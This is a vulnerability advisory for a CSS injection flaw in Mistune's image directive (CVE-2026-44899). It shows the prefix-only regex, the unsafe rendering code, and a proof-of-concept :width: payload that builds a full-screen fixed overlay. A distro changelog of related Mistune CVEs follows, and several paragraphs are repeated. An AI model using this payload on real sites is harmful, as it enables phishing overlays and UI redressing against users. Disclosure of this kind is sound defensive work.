CVE-2026-44899

Summary

The Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:\.\d*)?"). This pattern is applied via re.match() (which anchors only at the start of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.

When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping.

An attacker can therefore inject an arbitrary chain of CSS properties — including position:fixed, background-color, z-index, outline, and opacity — using nothing more than a single :width: option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.

Details

File: src/mistune/directives/image.py

_num_re = re.compile(r"^\d+(?:\.\d*)?")   # no $ anchor — prefix match only

def _parse_attrs(options):
    height = options.get("height")
    width  = options.get("width")
    if height and _num_re.match(height):   # passes if value STARTS with a digit
        attrs["height"] = height           # full value stored, not just digits
    if width and _num_re.match(width):     # same — prefix-only check
        attrs["width"] = width

And in render_block_image():

if width:
    if width.isdigit():
        img += ' width="' + width + '"'   # safe: integer → HTML attribute
    else:
        style += "width:" + width + ";"   # UNSAFE: non-integer → raw style value

The isdigit() branch correctly uses an HTML attribute for plain integers. The else branch assumes that anything that passed _num_re.match() is a safe CSS length like 100px or 50%. However, because the regex is prefix-only, 100vw;height:100vh;position:fixed;... also passes, and the entire string lands in style= unmodified.

PoC

Step 1 — Establish the baseline (safe plain-integer dimensions)

The script creates a parser with escape=True, FencedDirective, and the Image plugin. A safe image directive is rendered with integer width and height:

md = create_markdown(escape=True, plugins=[FencedDirective([Image()])])

bl_src = (
    "```{image} photo.jpg\n"
    ":width: 400\n"
    ":height: 300\n"
    ":alt: safe image\n"
    "```\n"
)
bl_out = str(md(bl_src))

Expected and actual output — clean width= and height= HTML attributes, no style=:

<div class="block-image"><img src="photo.jpg" alt="safe image" width="400" height="300" /></div>

Step 2 — Understand why non-integer widths go into style=

When width is not a plain integer (e.g., 100px), width.isdigit() returns False, so the render path falls through to style += "width:" + width + ";". This is the intended mechanism for CSS-unit dimensions. The flaw is that _num_re.match() lets far more than CSS units through.

Step 3 — Craft the exploit payload

Provide a :width: value that begins with a valid number (satisfying _num_re.match()) but appends an entire CSS attack chain after it:

:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93

• 100vw — starts with 1, passes _num_re.match(); also sets the width to full viewport width
• ;height:100vh — overrides height to full viewport height
• ;position:fixed — lifts element out of document flow, fixed to the browser viewport
• ;top:0;left:0 — anchors overlay to the top-left corner
• ;z-index:9999 — places it above all other page content
• ;background-color:#e11d48 — fills the overlay with vivid crimson
• ;outline:8px solid #facc15 — adds a bright…

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.

This update for python-mistune fixes the following issues

• CVE-2026-33079: ReDoS in LINK_TITLE_RE can lead to denial of service via a crafted Markdown (bsc#1264347).
• CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of service (bsc#1264752).
• CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).
• CVE-2026-44896: improper escaping in render_figure can lead to attribute injection and XSS (bsc#1264754).
• CVE-2026-44897: improper sanitization of user-controlled input in HTMLRenderer.heading can lead to XSS (bsc#1264750).
• CVE-2026-44898: improper sanitization of user-supplied HTML input in render_toc_ul can lead to XSS (bsc#1265052).
• CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in render_block_image can lead to CSS injection (bsc#1265053).

This update for python-mistune fixes the following issues

• CVE-2026-33079: ReDoS in LINK_TITLE_RE can lead to denial of service via a crafted Markdown (bsc#1264347).
• CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of service (bsc#1264752).
• CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).
• CVE-2026-44896: improper escaping in render_figure can lead to attribute injection and XSS (bsc#1264754).
• CVE-2026-44897: improper sanitization of user-controlled input in HTMLRenderer.heading can lead to XSS (bsc#1264750).
• CVE-2026-44898: improper sanitization of user-supplied HTML input in render_toc_ul can lead to XSS (bsc#1265052).
• CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in render_block_image can lead to CSS injection (bsc#1265053).